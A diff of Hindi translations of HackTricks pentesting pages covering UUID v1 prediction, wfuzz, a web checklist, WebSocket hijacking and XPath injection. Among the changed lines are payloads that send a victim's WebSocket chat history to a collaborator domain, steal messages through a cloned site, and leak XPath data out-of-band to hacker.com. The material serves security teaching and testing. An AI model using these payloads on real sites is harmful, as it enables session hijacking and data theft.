जब बैकएंड **उपयोगकर्ता इनपुट को regex के साथ जांच रहा है**, तो यह संभव है कि **इनपुट** को **regex** के लिए **सामान्यीकृत** किया जा रहा हो लेकिन **जहां इसका उपयोग किया जा रहा है** वहां **नहीं**। उदाहरण के लिए, एक ओपन रीडायरेक्ट या SSRF में regex **भेजे गए URL** को **सामान्यीकृत** कर सकता है लेकिन फिर **इसे जैसा है वैसा ही एक्सेस कर सकता है**।
|
||||
|
||||
उपकरण [**recollapse**](https://github.com/0xacb/recollapse) \*\*\*\* बैकएंड को fuzz करने के लिए **इनपुट के विभिन्न रूपों** को **जनरेट** करने की अनुमति देता है। अधिक जानकारी के लिए **github** और इस [**पोस्ट**](https://0xacb.com/2022/11/21/recollapse/) की जांच करें।
|
||||
उपकरण [**recollapse**](https://github.com/0xacb/recollapse) \*\*\*\* बैकएंड को फज़ करने के लिए **इनपुट के विभिन्न रूपों को उत्पन्न करने** की अनुमति देता है। अधिक जानकारी के लिए **github** और इस [**पोस्ट**](https://0xacb.com/2022/11/21/recollapse/) की जांच करें।
|
||||
|
||||
## References
|
||||
## संदर्भ
|
||||
|
||||
- [**https://labs.spotify.com/2013/06/18/creative-usernames/**](https://labs.spotify.com/2013/06/18/creative-usernames/)
|
||||
- [**https://security.stackexchange.com/questions/48879/why-does-directory-traversal-attack-c0af-work**](https://security.stackexchange.com/questions/48879/why-does-directory-traversal-attack-c0af-work)
|
||||
|
@ -4,9 +4,9 @@
|
||||
|
||||
## Basic Information
|
||||
|
||||
Universally Unique Identifiers (UUIDs) **128-बिट नंबर हैं जो कंप्यूटर सिस्टम में जानकारी की अद्वितीय पहचान के लिए उपयोग किए जाते हैं**। UUIDs उन अनुप्रयोगों में आवश्यक हैं जहाँ अद्वितीय पहचानकर्ताओं की आवश्यकता होती है बिना केंद्रीय समन्वय के। इन्हें सामान्यतः डेटाबेस कुंजी के रूप में उपयोग किया जाता है और ये विभिन्न तत्वों जैसे दस्तावेज़ों और सत्रों को संदर्भित कर सकते हैं।
|
||||
Universally Unique Identifiers (UUIDs) **128-बिट नंबर हैं जो कंप्यूटर सिस्टम में जानकारी की अद्वितीय पहचान के लिए उपयोग किए जाते हैं**। UUIDs उन अनुप्रयोगों में आवश्यक हैं जहाँ अद्वितीय पहचानकर्ता बिना केंद्रीय समन्वय के आवश्यक होते हैं। इन्हें सामान्यतः डेटाबेस कुंजी के रूप में उपयोग किया जाता है और ये विभिन्न तत्वों जैसे दस्तावेज़ों और सत्रों को संदर्भित कर सकते हैं।
|
||||
|
||||
UUIDs को अद्वितीय और **अनुमान लगाने में कठिन** बनाने के लिए डिज़ाइन किया गया है। इन्हें एक विशिष्ट प्रारूप में संरचित किया गया है, जो 32 हेक्साडेसिमल अंकों के रूप में पांच समूहों में विभाजित है। UUIDs के विभिन्न संस्करण होते हैं, प्रत्येक का अलग-अलग उद्देश्यों के लिए उपयोग होता है:
|
||||
UUIDs को अद्वितीय और **अनुमान लगाने में कठिन** बनाने के लिए डिज़ाइन किया गया है। इन्हें एक विशिष्ट प्रारूप में संरचित किया गया है, जिसे 32 हेक्साडेसिमल अंकों के रूप में पांच समूहों में विभाजित किया गया है। UUIDs के विभिन्न संस्करण होते हैं, प्रत्येक का अलग-अलग उद्देश्यों के लिए उपयोग किया जाता है:
|
||||
|
||||
- **UUID v1** समय-आधारित है, जिसमें टाइमस्टैम्प, घड़ी अनुक्रम, और नोड ID (MAC पता) शामिल है, लेकिन यह संभावित रूप से सिस्टम जानकारी को उजागर कर सकता है।
|
||||
- **UUID v2** v1 के समान है लेकिन स्थानीय डोमेन के लिए संशोधन शामिल करता है (विशाल रूप से उपयोग नहीं किया जाता)।
|
||||
@ -23,11 +23,11 @@ UUIDs को अद्वितीय और **अनुमान लगान
|
||||
|
||||
## Sandwich attack
|
||||
|
||||
"Sandwich Attack" एक विशिष्ट प्रकार का हमला है जो **वेब अनुप्रयोगों में UUID v1 उत्पन्न करने की भविष्यवाणी का लाभ उठाता है**, विशेष रूप से पासवर्ड रीसेट जैसी सुविधाओं में। UUID v1 समय, घड़ी अनुक्रम, और नोड के MAC पते के आधार पर उत्पन्न होता है, जो इसे कुछ हद तक अनुमानित बना सकता है यदि एक हमलावर इन UUIDs में से कुछ को प्राप्त कर सकता है जो समय के करीब उत्पन्न होते हैं।
|
||||
"Sandwich Attack" एक विशिष्ट प्रकार का हमला है जो **वेब अनुप्रयोगों में UUID v1 उत्पन्न करने की भविष्यवाणी का लाभ उठाता है**, विशेष रूप से पासवर्ड रीसेट जैसी सुविधाओं में। UUID v1 समय, घड़ी अनुक्रम, और नोड के MAC पते के आधार पर उत्पन्न होता है, जिससे यह कुछ हद तक अनुमानित हो सकता है यदि एक हमलावर इन UUIDs में से कुछ प्राप्त कर सकता है जो समय के करीब उत्पन्न हुए हैं।
|
||||
|
||||
### Example
|
||||
|
||||
कल्पना करें कि एक वेब अनुप्रयोग UUID v1 का उपयोग पासवर्ड रीसेट लिंक उत्पन्न करने के लिए करता है। यहाँ एक हमलावर इसको अनधिकृत पहुंच प्राप्त करने के लिए कैसे लाभ उठा सकता है:
|
||||
कल्पना करें कि एक वेब अनुप्रयोग UUID v1 का उपयोग पासवर्ड रीसेट लिंक उत्पन्न करने के लिए करता है। यहाँ एक हमलावर इसको अनधिकृत पहुंच प्राप्त करने के लिए कैसे भुनाने का प्रयास कर सकता है:
|
||||
|
||||
1. **प्रारंभिक सेटअप**:
|
||||
|
||||
@ -46,8 +46,8 @@ UUIDs को अद्वितीय और **अनुमान लगान
|
||||
|
||||
4. **Brute Force Attack:**
|
||||
|
||||
- हमलावर इन दो मानों के बीच UUID उत्पन्न करने के लिए एक उपकरण का उपयोग करता है और प्रत्येक उत्पन्न UUID का परीक्षण करता है पासवर्ड रीसेट लिंक तक पहुंचने का प्रयास करके (जैसे, \`https://www.acme.com/reset/\<generated-UUID>\`)।
|
||||
- यदि वेब अनुप्रयोग उचित दर सीमा या ऐसे प्रयासों को अवरुद्ध नहीं करता है, तो हमलावर जल्दी से सीमा में सभी संभावित UUIDs का परीक्षण कर सकता है।
|
||||
- हमलावर इन दो मानों के बीच UUID उत्पन्न करने के लिए एक उपकरण का उपयोग करता है और प्रत्येक उत्पन्न UUID का परीक्षण करता है पासवर्ड रीसेट लिंक तक पहुँचने का प्रयास करके (जैसे, \`https://www.acme.com/reset/\<generated-UUID>\`)।
|
||||
- यदि वेब अनुप्रयोग उचित दर सीमा निर्धारित नहीं करता है या ऐसे प्रयासों को अवरुद्ध नहीं करता है, तो हमलावर जल्दी से सीमा में सभी संभावित UUIDs का परीक्षण कर सकता है।
|
||||
|
||||
5. **पहुंच प्राप्त की:**
|
||||
|
||||
|
@ -10,7 +10,7 @@
|
||||
|
||||
काली में स्थापित
|
||||
|
||||
Github: [https://github.com/xmendez/wfuzz](https://github.com/xmendez/wfuzz)
|
||||
गिटहब: [https://github.com/xmendez/wfuzz](https://github.com/xmendez/wfuzz)
|
||||
```
|
||||
pip install wfuzz
|
||||
```
|
||||
@ -113,7 +113,7 @@ $ wfuzz -z list,GET-HEAD-POST-TRACE-OPTIONS -X FUZZ http://testphp.vulnweb.com/
|
||||
#Filter by whitelisting codes
|
||||
wfuzz -c -z file,/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt --sc 200,202,204,301,302,307,403 http://example.com/uploads/FUZZ
|
||||
```
|
||||
## वेब को बायपास करने के लिए उपकरण
|
||||
## वेब को बायपास करने का उपकरण
|
||||
|
||||
[https://github.com/carlospolop/fuzzhttpbypass](https://github.com/carlospolop/fuzzhttpbypass)
|
||||
|
||||
|
@ -2,12 +2,12 @@
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
हर वेब पेंटेस्ट में **कई छिपी और स्पष्ट जगहें होती हैं जो कमजोर हो सकती हैं**। यह पोस्ट एक चेकलिस्ट के रूप में है ताकि आप यह सुनिश्चित कर सकें कि आपने सभी संभावित स्थानों पर कमजोरियों की खोज की है।
|
||||
हर वेब पेंटेस्ट में **कई छिपी और स्पष्ट जगहें होती हैं जो कमजोर हो सकती हैं**। यह पोस्ट एक चेकलिस्ट के रूप में है ताकि यह सुनिश्चित किया जा सके कि आपने सभी संभावित स्थानों पर कमजोरियों की खोज की है।
|
||||
|
||||
## प्रॉक्सी
|
||||
|
||||
> [!NOTE]
|
||||
> आजकल **वेब** **ऐप्लिकेशन** आमतौर पर कुछ प्रकार के **मध्यस्थ** **प्रॉक्सी** का उपयोग करते हैं, जिन्हें कमजोरियों का शोषण करने के लिए (दुरुपयोग) किया जा सकता है। इन कमजोरियों के लिए एक कमजोर प्रॉक्सी की आवश्यकता होती है, लेकिन उन्हें आमतौर पर बैकएंड में कुछ अतिरिक्त कमजोरी की भी आवश्यकता होती है।
|
||||
> आजकल **वेब** **ऐप्लिकेशन** आमतौर पर कुछ प्रकार के **मध्यस्थ** **प्रॉक्सी** का उपयोग करते हैं, जिनका (दुरुपयोग) कमजोरियों का शोषण करने के लिए किया जा सकता है। इन कमजोरियों के लिए एक कमजोर प्रॉक्सी की आवश्यकता होती है, लेकिन उन्हें आमतौर पर बैकएंड में कुछ अतिरिक्त कमजोरी की भी आवश्यकता होती है।
|
||||
|
||||
- [ ] [**हॉप-बाय-हॉप हेडर का दुरुपयोग**](abusing-hop-by-hop-headers.md)
|
||||
- [ ] [**कैश पॉइज़निंग/कैश धोखा**](cache-deception/)
|
||||
@ -52,7 +52,7 @@ pocs-and-polygloths-cheatsheet/
|
||||
|
||||
### **खोज कार्यक्षमताएँ**
|
||||
|
||||
यदि कार्यक्षमता का उपयोग बैकएंड में किसी प्रकार के डेटा की खोज के लिए किया जा सकता है, तो शायद आप इसे मनमाने डेटा की खोज के लिए (दुरुपयोग) कर सकते हैं।
|
||||
यदि कार्यक्षमता का उपयोग बैकएंड के भीतर किसी प्रकार के डेटा की खोज के लिए किया जा सकता है, तो शायद आप इसे मनमाने डेटा की खोज के लिए (दुरुपयोग) कर सकते हैं।
|
||||
|
||||
- [ ] [**फाइल समावेशन/पथTraversal**](file-inclusion/)
|
||||
- [ ] [**NoSQL इंजेक्शन**](nosql-injection.md)
|
||||
@ -121,7 +121,7 @@ pocs-and-polygloths-cheatsheet/
|
||||
|
||||
ये कमजोरियाँ अन्य कमजोरियों का शोषण करने में मदद कर सकती हैं।
|
||||
|
||||
- [ ] [**डोमेन/सबडोमेन अधिग्रहण**](domain-subdomain-takeover.md)
|
||||
- [ ] [**डोमेन/उपडोमेन अधिग्रहण**](domain-subdomain-takeover.md)
|
||||
- [ ] [**IDOR**](idor.md)
|
||||
- [ ] [**पैरामीटर प्रदूषण**](parameter-pollution.md)
|
||||
- [ ] [**यूनिकोड सामान्यीकरण कमजोरी**](unicode-injection/)
|
||||
|
@ -22,7 +22,7 @@
|
||||
|
||||
> [!NOTE]
|
||||
> अधिकांश वेब एप्लिकेशन **उपयोगकर्ताओं को कुछ डेटा इनपुट करने की अनुमति देंगे जिसे बाद में संसाधित किया जाएगा।**\
|
||||
> डेटा की संरचना के आधार पर, सर्वर कुछ कमजोरियों की अपेक्षा कर सकता है या नहीं।
|
||||
> डेटा की संरचना के आधार पर, सर्वर कुछ कमजोरियों की अपेक्षा कर सकता है जो लागू हो सकती हैं या नहीं।
|
||||
|
||||
### **प्रतिबिंबित मान**
|
||||
|
||||
@ -52,7 +52,7 @@
|
||||
|
||||
### **खोज कार्यक्षमताएँ**
|
||||
|
||||
यदि कार्यक्षमता का उपयोग बैकएंड के अंदर किसी प्रकार के डेटा की खोज के लिए किया जा सकता है, तो शायद आप इसे मनमाने डेटा की खोज के लिए (दुरुपयोग) कर सकते हैं।
|
||||
यदि कार्यक्षमता का उपयोग बैकएंड में किसी प्रकार के डेटा की खोज के लिए किया जा सकता है, तो शायद आप इसे मनमाने डेटा की खोज के लिए (दुरुपयोग) कर सकते हैं।
|
||||
|
||||
- [ ] [**फाइल समावेशन/पथ यात्रा**](../file-inclusion/)
|
||||
- [ ] [**NoSQL इंजेक्शन**](../nosql-injection.md)
|
||||
@ -75,7 +75,7 @@
|
||||
|
||||
- [ ] [**क्लिकजैकिंग**](../clickjacking.md)
|
||||
- [ ] [**सामग्री सुरक्षा नीति बायपास**](../content-security-policy-csp-bypass/)
|
||||
- [ ] [**कुकीज़ हैकिंग**](../hacking-with-cookies/)
|
||||
- [ ] [**कुकीज हैकिंग**](../hacking-with-cookies/)
|
||||
- [ ] [**CORS - गलत कॉन्फ़िगरेशन और बायपास**](../cors-bypass.md)
|
||||
|
||||
### **बायपास**
|
||||
@ -88,7 +88,7 @@
|
||||
- [ ] [**लॉगिन बायपास**](../login-bypass/)
|
||||
- [ ] [**रेस कंडीशन**](../race-condition.md)
|
||||
- [ ] [**रेट लिमिट बायपास**](../rate-limit-bypass.md)
|
||||
- [ ] [**भूल गए पासवर्ड रीसेट बायपास**](../reset-password.md)
|
||||
- [ ] [**भूल गए पासवर्ड को रीसेट करने का बायपास**](../reset-password.md)
|
||||
- [ ] [**पंजीकरण कमजोरियाँ**](../registration-vulnerabilities.md)
|
||||
|
||||
### **संरचित वस्तुएँ / विशिष्ट कार्यक्षमताएँ**
|
||||
@ -124,6 +124,6 @@
|
||||
- [ ] [**डोमेन/सबडोमेन अधिग्रहण**](../domain-subdomain-takeover.md)
|
||||
- [ ] [**IDOR**](../idor.md)
|
||||
- [ ] [**पैरामीटर प्रदूषण**](../parameter-pollution.md)
|
||||
- [ ] [**यूनिकोड सामान्यीकरण कमजोरी**](../unicode-injection/)
|
||||
- [ ] [**यूनिकोड सामान्यीकरण की कमजोरी**](../unicode-injection/)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
@ -8,13 +8,13 @@ WebSocket कनेक्शन एक प्रारंभिक **HTTP** ह
|
||||
|
||||
### WebSocket कनेक्शनों की स्थापना
|
||||
|
||||
WebSocket कनेक्शनों की स्थापना पर विस्तृत विवरण [**यहां**](https://infosecwriteups.com/cross-site-websocket-hijacking-cswsh-ce2a6b0747fc) पहुंचा जा सकता है। संक्षेप में, WebSocket कनेक्शन आमतौर पर क्लाइंट-साइड जावास्क्रिप्ट के माध्यम से आरंभ किए जाते हैं जैसा कि नीचे दिखाया गया है:
|
||||
WebSocket कनेक्शनों की स्थापना पर विस्तृत जानकारी [**यहां**](https://infosecwriteups.com/cross-site-websocket-hijacking-cswsh-ce2a6b0747fc) प्राप्त की जा सकती है। संक्षेप में, WebSocket कनेक्शन आमतौर पर क्लाइंट-साइड जावास्क्रिप्ट के माध्यम से आरंभ किए जाते हैं जैसा कि नीचे दिखाया गया है:
|
||||
```javascript
|
||||
var ws = new WebSocket("wss://normal-website.com/ws")
|
||||
```
|
||||
`wss` प्रोटोकॉल एक WebSocket कनेक्शन को **TLS** के साथ सुरक्षित करता है, जबकि `ws` एक **असुरक्षित** कनेक्शन को दर्शाता है।
|
||||
|
||||
कनेक्शन स्थापित करते समय, HTTP के माध्यम से ब्राउज़र और सर्वर के बीच एक हैंडशेक किया जाता है। हैंडशेक प्रक्रिया में ब्राउज़र एक अनुरोध भेजता है और सर्वर प्रतिक्रिया करता है, जैसा कि निम्नलिखित उदाहरणों में दर्शाया गया है:
|
||||
कनेक्शन स्थापित करते समय, HTTP के माध्यम से ब्राउज़र और सर्वर के बीच एक हैंडशेक किया जाता है। हैंडशेक प्रक्रिया में ब्राउज़र एक अनुरोध भेजता है और सर्वर प्रतिक्रिया देता है, जैसा कि निम्नलिखित उदाहरणों में दर्शाया गया है:
|
||||
|
||||
ब्राउज़र एक हैंडशेक अनुरोध भेजता है:
|
||||
```javascript
|
||||
@ -38,7 +38,7 @@ Sec-WebSocket-Accept: 0FFP+2nmNIf/h+4BP36k9uzrYGk=
|
||||
**WebSocket हैंडशेक के मुख्य बिंदु:**
|
||||
|
||||
- `Connection` और `Upgrade` हेडर WebSocket हैंडशेक की शुरुआत का संकेत देते हैं।
|
||||
- `Sec-WebSocket-Version` हेडर वांछित WebSocket प्रोटोकॉल संस्करण को इंगित करता है, जो आमतौर पर `13` होता है।
|
||||
- `Sec-WebSocket-Version` हेडर वांछित WebSocket प्रोटोकॉल संस्करण को दर्शाता है, जो आमतौर पर `13` होता है।
|
||||
- `Sec-WebSocket-Key` हेडर में एक Base64-कोडित यादृच्छिक मान भेजा जाता है, यह सुनिश्चित करते हुए कि प्रत्येक हैंडशेक अद्वितीय है, जो कैशिंग प्रॉक्सी के साथ समस्याओं को रोकने में मदद करता है। यह मान प्रमाणीकरण के लिए नहीं है, बल्कि यह पुष्टि करने के लिए है कि प्रतिक्रिया किसी गलत कॉन्फ़िगर किए गए सर्वर या कैश द्वारा उत्पन्न नहीं की गई है।
|
||||
- सर्वर की प्रतिक्रिया में `Sec-WebSocket-Accept` हेडर `Sec-WebSocket-Key` का एक हैश है, जो सर्वर के WebSocket कनेक्शन खोलने के इरादे की पुष्टि करता है।
|
||||
|
||||
@ -46,7 +46,7 @@ Sec-WebSocket-Accept: 0FFP+2nmNIf/h+4BP36k9uzrYGk=
|
||||
|
||||
### Linux कंसोल
|
||||
|
||||
आप `websocat` का उपयोग करके एक websocket के साथ कच्चा कनेक्शन स्थापित कर सकते हैं।
|
||||
आप `websocat` का उपयोग करके websocket के साथ एक कच्चा कनेक्शन स्थापित कर सकते हैं।
|
||||
```bash
|
||||
websocat --insecure wss://10.10.10.10:8000 -v
|
||||
```
|
||||
@ -54,9 +54,9 @@ websocat --insecure wss://10.10.10.10:8000 -v
|
||||
```bash
|
||||
websocat -s 0.0.0.0:8000 #Listen in port 8000
|
||||
```
|
||||
### MitM websocket connections
|
||||
### MitM websocket कनेक्शन
|
||||
|
||||
यदि आप पाते हैं कि क्लाइंट आपके वर्तमान स्थानीय नेटवर्क से **HTTP websocket** से जुड़े हुए हैं, तो आप [ARP Spoofing Attack ](../generic-methodologies-and-resources/pentesting-network/#arp-spoofing) का प्रयास कर सकते हैं ताकि क्लाइंट और सर्वर के बीच MitM हमला किया जा सके।\
|
||||
यदि आप पाते हैं कि क्लाइंट आपके वर्तमान स्थानीय नेटवर्क से **HTTP websocket** से जुड़े हुए हैं, तो आप [ARP Spoofing Attack](../generic-methodologies-and-resources/pentesting-network/#arp-spoofing) का प्रयास कर सकते हैं ताकि क्लाइंट और सर्वर के बीच MitM हमला किया जा सके।\
|
||||
एक बार जब क्लाइंट आपसे कनेक्ट करने की कोशिश कर रहा हो, तो आप इसका उपयोग कर सकते हैं:
|
||||
```bash
|
||||
websocat -E --insecure --text ws-listen:0.0.0.0:8000 wss://10.10.10.10:8000 -v
|
||||
@ -70,9 +70,9 @@ websocat -E --insecure --text ws-listen:0.0.0.0:8000 wss://10.10.10.10:8000 -v
|
||||
- **Burp Suite** MitM websockets संचार का समर्थन करता है जिस तरह से यह नियमित HTTP संचार के लिए करता है।
|
||||
- [**socketsleuth**](https://github.com/snyk/socketsleuth) **Burp Suite एक्सटेंशन** आपको Burp में Websocket संचार को बेहतर ढंग से प्रबंधित करने की अनुमति देगा, **history** प्राप्त करके, **interception rules** सेट करके, **match and replace** नियमों का उपयोग करके, **Intruder** और **AutoRepeater** का उपयोग करके।
|
||||
- [**WSSiP**](https://github.com/nccgroup/wssip)**:** "**WebSocket/Socket.io Proxy**" के लिए संक्षिप्त, यह उपकरण, जो Node.js में लिखा गया है, **कैप्चर, इंटरसेप्ट, कस्टम** संदेश भेजने और क्लाइंट और सर्वर के बीच सभी WebSocket और Socket.IO संचार को देखने के लिए एक उपयोगकर्ता इंटरफ़ेस प्रदान करता है।
|
||||
- [**wsrepl**](https://github.com/doyensec/wsrepl) एक **interactive websocket REPL** है जिसे विशेष रूप से पेनिट्रेशन टेस्टिंग के लिए डिज़ाइन किया गया है। यह **incoming websocket messages** को देखने और नए संदेश भेजने के लिए एक इंटरफ़ेस प्रदान करता है, जिसमें इस संचार को **automating** करने के लिए एक उपयोग में आसान ढांचा है। 
|
||||
- [**https://websocketking.com/**](https://websocketking.com/) यह एक **web है जो अन्य webs के साथ** **websockets** का उपयोग करके संवाद करने के लिए है।
|
||||
- [**https://hoppscotch.io/realtime/websocket**](https://hoppscotch.io/realtime/websocket) अन्य प्रकार के संचार/प्रोटोकॉल के बीच, यह एक **web है जो अन्य webs के साथ** **websockets** का उपयोग करके संवाद करने के लिए है।
|
||||
- [**wsrepl**](https://github.com/doyensec/wsrepl) एक **इंटरएक्टिव websocket REPL** है जिसे विशेष रूप से पेनट्रेशन टेस्टिंग के लिए डिज़ाइन किया गया है। यह **incoming websocket messages** को देखने और नए संदेश भेजने के लिए एक इंटरफ़ेस प्रदान करता है, जिसमें इस संचार को **automating** करने के लिए एक उपयोग में आसान ढांचा है। 
|
||||
- [**https://websocketking.com/**](https://websocketking.com/) यह **websockets** का उपयोग करके अन्य वेब के साथ संवाद करने के लिए एक **वेब** है।
|
||||
- [**https://hoppscotch.io/realtime/websocket**](https://hoppscotch.io/realtime/websocket) अन्य प्रकार के संचार/प्रोटोकॉल के बीच, यह **websockets** का उपयोग करके अन्य वेब के साथ संवाद करने के लिए एक **वेब** प्रदान करता है।
|
||||
|
||||
## Websocket Lab
|
||||
|
||||
@ -86,9 +86,9 @@ websocat -E --insecure --text ws-listen:0.0.0.0:8000 wss://10.10.10.10:8000 -v
|
||||
|
||||
### Simple Attack
|
||||
|
||||
ध्यान दें कि जब **websocket** कनेक्शन **स्थापित** किया जाता है तो **cookie** **सर्वर** को **भेजी** जाती है। **सर्वर** इसे **विशिष्ट** **उपयोगकर्ता** को उसके **websocket** **सत्र** से **संबंधित** करने के लिए उपयोग कर सकता है जो भेजी गई कुकी पर आधारित है।
|
||||
ध्यान दें कि जब **websocket** कनेक्शन **स्थापित** किया जाता है तो **cookie** **सर्वर** को **भेजी** जाती है। **सर्वर** इसे **विशिष्ट** **उपयोगकर्ता** को उसके **websocket** **सत्र** से संबंधित करने के लिए उपयोग कर सकता है जो भेजी गई कुकी पर आधारित है।
|
||||
|
||||
फिर, यदि **उदाहरण के लिए** **websocket** **server** **एक उपयोगकर्ता की बातचीत का इतिहास वापस भेजता है** यदि एक msg "**READY"** भेजा जाता है, तो एक **simple XSS** कनेक्शन स्थापित करते समय ( **cookie** **स्वचालित रूप से** पीड़ित उपयोगकर्ता को अधिकृत करने के लिए **भेजी** जाएगी) "**READY**" भेजने से **बातचीत** का इतिहास **प्राप्त** कर सकेगा।
|
||||
फिर, यदि **उदाहरण** के लिए **websocket** **server** **एक उपयोगकर्ता की बातचीत का इतिहास वापस भेजता है** यदि एक msg "**READY"** भेजा जाता है, तो एक **simple XSS** कनेक्शन स्थापित करते हुए (**cookie** **स्वचालित रूप से** पीड़ित उपयोगकर्ता को अधिकृत करने के लिए **भेजी** जाएगी) "**READY**" भेजने से **बातचीत** का इतिहास **प्राप्त** कर सकेगा।
|
||||
```markup
|
||||
<script>
|
||||
websocket = new WebSocket('wss://your-websocket-URL')
|
||||
@ -109,7 +109,7 @@ fetch('https://your-collaborator-domain/?'+event.data, {mode: 'no-cors'})
|
||||
|
||||
### उपयोगकर्ता से डेटा चुराना
|
||||
|
||||
वेब एप्लिकेशन की कॉपी करें जिसे आप अनुकरण करना चाहते हैं (उदाहरण के लिए .html फ़ाइलें) और उस स्क्रिप्ट के अंदर जहां वेब सॉकेट संचार हो रहा है, यह कोड जोड़ें:
|
||||
जिस वेब एप्लिकेशन की आप नकल करना चाहते हैं उसे कॉपी करें (उदाहरण के लिए .html फ़ाइलें) और उस स्क्रिप्ट के अंदर जहां वेब सॉकेट संचार हो रहा है, यह कोड जोड़ें:
|
||||
```javascript
|
||||
//This is the script tag to load the websocket hooker
|
||||
;<script src="wsHook.js"></script>
|
||||
@ -129,8 +129,8 @@ xhttp.send()
|
||||
return messageEvent
|
||||
}
|
||||
```
|
||||
अब `wsHook.js` फ़ाइल को [https://github.com/skepticfx/wshook](https://github.com/skepticfx/wshook) से डाउनलोड करें और **इसे वेब फ़ाइलों के साथ फ़ोल्डर के अंदर सहेजें**।\
|
||||
वेब एप्लिकेशन को उजागर करके और एक उपयोगकर्ता को इससे कनेक्ट करने के लिए मजबूर करके, आप websocket के माध्यम से भेजे गए और प्राप्त संदेशों को चुरा सकेंगे:
|
||||
अब `wsHook.js` फ़ाइल को [https://github.com/skepticfx/wshook](https://github.com/skepticfx/wshook) से डाउनलोड करें और **इसे वेब फ़ाइलों के साथ फ़ोल्डर में सहेजें**।\
|
||||
वेब एप्लिकेशन को उजागर करके और एक उपयोगकर्ता को इससे कनेक्ट करने पर, आप websocket के माध्यम से भेजे गए और प्राप्त संदेशों को चुरा सकेंगे:
|
||||
```javascript
|
||||
sudo python3 -m http.server 80
|
||||
```
|
||||
|
@ -30,7 +30,7 @@
|
||||
|
||||
### Utilization of Predicates
|
||||
|
||||
चयन को परिष्कृत करने के लिए पूर्ववर्ती का उपयोग किया जाता है:
|
||||
चयन को परिष्कृत करने के लिए गुणांक का उपयोग किया जाता है:
|
||||
|
||||
- **/bookstore/book\[1]**: bookstore तत्व का पहला पुस्तक तत्व बच्चा चयनित किया जाता है। IE संस्करण 5 से 9 के लिए एक वर्कअराउंड, जो पहले नोड को \[0] के रूप में अनुक्रमित करता है, JavaScript के माध्यम से SelectionLanguage को XPath पर सेट करना है।
|
||||
- **/bookstore/book\[last()]**: bookstore तत्व का अंतिम पुस्तक तत्व बच्चा चयनित किया जाता है।
|
||||
@ -53,7 +53,7 @@
|
||||
|
||||
- **/bookstore/\***: bookstore तत्व के सभी बच्चे तत्व नोड्स का चयन करता है।
|
||||
- **//\***: दस्तावेज़ में सभी तत्वों का चयन करता है।
|
||||
- **//title\[@\*]**: कम से कम एक गुणांक वाले सभी शीर्षक तत्वों का चयन करता है।
|
||||
- **//title\[@\*]**: किसी भी प्रकार के कम से कम एक गुणांक वाले सभी शीर्षक तत्वों का चयन करता है।
|
||||
|
||||
## Example
|
||||
```xml
|
||||
@ -138,9 +138,9 @@ and string-to-codepoints(substring(name(/*[1]/*[1]/*),1,1)) = 105 #Firts char of
|
||||
doc(concat("http://hacker.com/oob/", name(/*[1]/*[1]), name(/*[1]/*[1]/*[1])))
|
||||
doc-available(concat("http://hacker.com/oob/", name(/*[1]/*[1]), name(/*[1]/*[1]/*[1])))
|
||||
```
|
||||
## Authentication Bypass
|
||||
## प्रमाणीकरण बाईपास
|
||||
|
||||
### **प्रश्नों का उदाहरण:**
|
||||
### **क्वेरी का उदाहरण:**
|
||||
```
|
||||
string(//user[name/text()='+VAR_USER+' and password/text()='+VAR_PASSWD+']/account/text())
|
||||
$q = '/usuarios/usuario[cuenta="' . $_POST['user'] . '" and passwd="' . $_POST['passwd'] . '"]';
|
||||
|
@ -10,16 +10,16 @@ XS-Search एक विधि है जिसका उपयोग **क्र
|
||||
|
||||
- **कमजोर वेब**: लक्षित वेबसाइट जिससे जानकारी निकाली जानी है।
|
||||
- **हमलावर का वेब**: वह दुर्भावनापूर्ण वेबसाइट जो हमलावर द्वारा बनाई गई है, जिसे पीड़ित विजिट करता है, जिसमें एक्सप्लॉइट होस्ट किया गया है।
|
||||
- **शामिल करने की विधि**: वह तकनीक जो कमजोर वेब को हमलावर के वेब में शामिल करने के लिए उपयोग की जाती है (जैसे, window.open, iframe, fetch, href के साथ HTML टैग, आदि)।
|
||||
- **लीक तकनीक**: तकनीकें जो शामिल करने की विधि के माध्यम से एकत्रित जानकारी के आधार पर कमजोर वेब की स्थिति में भिन्नताएँ पहचानने के लिए उपयोग की जाती हैं।
|
||||
- **स्थितियाँ**: कमजोर वेब की दो संभावित स्थितियाँ, जिन्हें हमलावर पहचानने का प्रयास करता है।
|
||||
- **शामिल करने की विधि**: कमजोर वेब को हमलावर के वेब में शामिल करने के लिए उपयोग की जाने वाली तकनीक (जैसे, window.open, iframe, fetch, href के साथ HTML टैग, आदि)।
|
||||
- **लीक तकनीक**: कमजोर वेब की स्थिति में भिन्नताओं को पहचानने के लिए उपयोग की जाने वाली तकनीकें, जो शामिल करने की विधि के माध्यम से एकत्र की गई जानकारी पर आधारित होती हैं।
|
||||
- **राज्य**: कमजोर वेब की दो संभावित स्थितियाँ, जिन्हें हमलावर पहचानने का प्रयास करता है।
|
||||
- **पता लगाने योग्य भिन्नताएँ**: अवलोकनीय भिन्नताएँ जिन पर हमलावर कमजोर वेब की स्थिति का अनुमान लगाने के लिए निर्भर करता है।
|
||||
|
||||
### Detectable Differences
|
||||
|
||||
कमजोर वेब की स्थितियों को भिन्न करने के लिए कई पहलुओं का विश्लेषण किया जा सकता है:
|
||||
कमजोर वेब की स्थितियों को अलग करने के लिए कई पहलुओं का विश्लेषण किया जा सकता है:
|
||||
|
||||
- **स्थिति कोड**: **विभिन्न HTTP प्रतिक्रिया स्थिति कोड** के बीच भेद करना, जैसे सर्वर त्रुटियाँ, क्लाइंट त्रुटियाँ, या प्रमाणीकरण त्रुटियाँ।
|
||||
- **स्थिति कोड**: **विभिन्न HTTP प्रतिक्रिया स्थिति कोड** के बीच अंतर करना, जैसे सर्वर त्रुटियाँ, क्लाइंट त्रुटियाँ, या प्रमाणीकरण त्रुटियाँ।
|
||||
- **API उपयोग**: पृष्ठों के बीच **वेब APIs के उपयोग** की पहचान करना, यह प्रकट करना कि क्या एक क्रॉस-ओरिजिन पृष्ठ एक विशिष्ट JavaScript वेब API का उपयोग करता है।
|
||||
- **रीडायरेक्ट्स**: विभिन्न पृष्ठों पर नेविगेशन का पता लगाना, न केवल HTTP रीडायरेक्ट्स बल्कि वे भी जो JavaScript या HTML द्वारा ट्रिगर होते हैं।
|
||||
